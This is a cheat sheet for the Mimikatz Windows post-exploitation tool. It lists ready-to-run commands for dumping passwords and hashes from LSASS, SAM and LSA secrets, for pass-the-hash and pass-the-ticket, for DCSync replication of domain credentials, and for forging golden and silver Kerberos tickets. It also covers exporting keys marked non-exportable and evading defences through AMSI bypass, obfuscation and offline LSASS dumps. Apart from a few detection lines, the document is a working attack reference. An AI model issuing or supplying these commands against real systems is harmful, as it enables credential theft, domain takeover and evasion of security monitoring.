Mimikatz is a Windows post-exploitation tool developed by Benjamin Delpy that extracts credentials, hashes, PINs, and Kerberos tickets from memory. It is one of the most widely used tools for credential theft and lateral movement in Windows environments.
Credential Extraction : Dump plaintext passwords, hashes, and Kerberos tickets from LSASS memory
Pass-the-Hash/Pass-the-Ticket : Use extracted credentials for lateral movement
DPAPI Attacks : Decrypt Windows Data Protection API protected secrets
Golden/Silver Tickets : Forge Kerberos tickets for persistence
DCSync : Replicate credentials from Domain Controllers
Download from: https://github.com/gentilkiwi/mimikatz/releases
For evasion, consider Invoke-Mimikatz (PowerShell) or pypykatz (Python, cross-platform).
mimikatz.exe "command1" "command2" "exit"
Always start with:
privilege::debug
Command Purpose
privilege::debugEnable debug privileges (required)
sekurlsa::logonpasswordsDump all credentials from LSASS
sekurlsa::credmanDump Credential Manager secrets
sekurlsa::tickets /exportExport Kerberos tickets
lsadump::samDump local SAM database
lsadump::secretsDump LSA secrets
lsadump::cacheDump cached domain credentials
lsadump::dcsync /user:AdministratorDCSync attack
Module Purpose
sekurlsaExtract credentials from LSASS memory
lsadumpDump LSA secrets, SAM, DCSync
kerberosKerberos ticket operations
vaultWindows Vault/Credential Manager
dpapiDPAPI decryption
cryptoCertificate and key operations
tokenToken manipulation
Command Description
sekurlsa::logonpasswordsDump all logon passwords
sekurlsa::credmanDump Credential Manager
sekurlsa::dpapiDump DPAPI masterkeys
sekurlsa::ticketsList Kerberos tickets
sekurlsa::tickets /exportExport tickets to .kirbi files
sekurlsa::wdigestDump WDigest credentials
sekurlsa::ekeysDump Kerberos encryption keys (AES256, AES128, RC4)
sekurlsa::pth /user:<user> /domain:<domain> /ntlm:<hash> /run:cmd.exe
sekurlsa::pth /user:<user> /rc4:<hash> /domain:<domain> /run:cmd.exe
sekurlsa::pth /user:<user> /domain:<domain> /aes256:<aes256_hash> /run:cmd.exe
sekurlsa::ekeys extracts AES256, AES128, and RC4 keys for Kerberos authentication. Useful for Pass the Key / OverPass the Hash attacks — converts a Kerberos key into a full TGT; the spawned process can then request service tickets for lateral movement.
Used for certificate operations related to Pass-the-Certificate attacks and AD CS abuse.
Command Description
crypto::capiPatch CryptoAPI to make non-exportable keys exportable
crypto::cngPatch CNG to make non-exportable keys exportable
crypto::certificates /exportExport all user certificates
crypto::certificates /systemstore:local_machine /exportExport machine certificates
crypto::certificates /export
crypto::certificates /systemstore:local_machine /export
crypto::capi
crypto::cng
Run before exporting certificates that are marked as non-exportable.
Command Description
lsadump::samDump SAM database (local accounts)
lsadump::secretsDump LSA secrets
lsadump::cacheDump cached domain creds (DCC2)
lsadump::trustDump trust relationships
lsadump::dcsync /domain:domain.local /user:Administrator
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /all /csv
Requires Domain Admin or specific replication rights.
lsadump::sam /sam:sam.hive /system:system.hive
lsadump::secrets /system:system.hive /security:security.hive
kerberos::golden /user:Administrator /domain:domain.local /sid:<domain_sid> /krbtgt:<krbtgt_hash> /ptt
kerberos::golden /user:Administrator /domain:domain.local /sid:<domain_sid> /target:<server> /service:<svc> /rc4:<svc_hash> /ptt
Command Description
kerberos::listList current tickets
kerberos::ptt <file.kirbi>Pass-the-Ticket
kerberos::purgePurge all tickets
kerberos::tgtGet current TGT
Command Description
vault::listList vault credentials
vault::credDump vault credentials
dpapi::cred /in:<file>Decrypt credential file
dpapi::blob /in:<file> /masterkey:<key>Decrypt DPAPI blob
dpapi::masterkey /in:<file> /rpcGet masterkey via RPC
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
mimikatz.exe "privilege::debug" "lsadump::sam" "exit"
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:domain.local /user:krbtgt" "exit"
mimikatz.exe privilege::debug "sekurlsa::pth /user:julio /rc4:64F12CDDAA88057E06A81B54E73B949B /domain:inlanefreight.htb /run:cmd.exe" exit
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"
mimikatz.exe "privilege::debug" "kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... /krbtgt:<hash> /ptt" "exit"
mimikatz.exe "privilege::debug" "crypto::capi" "crypto::certificates /export" "exit"
mimikatz.exe "privilege::debug" "crypto::capi" "crypto::certificates /systemstore:local_machine /export" "exit"
Error Solution
ERROR kuhl_m_sekurlsa_acquireLSARun as Administrator
Privilege '20' KONeed local admin rights
Handle on memoryLSASS protected, try offline dump
LSASS memory access (Sysmon Event ID 10)
Suspicious process creation
Event ID 4624 (logon) with unusual patterns
Dump LSASS with procdump -ma lsass.exe lsass.dmp and analyze offline
Use pypykatz for cross-platform offline analysis
Use PowerShell Invoke-Mimikatz with AMSI bypass
Obfuscate or recompile from source
procdump.exe -ma lsass.exe lsass.dmp
pypykatz lsa minidump lsass.dmp
Tool Description
pypykatz Python implementation (cross-platform)
SharpKatz C# implementation
Rubeus C# Kerberos toolkit
Impacket Python toolkit with secretsdump.py
LaZagne Multi-platform credential recovery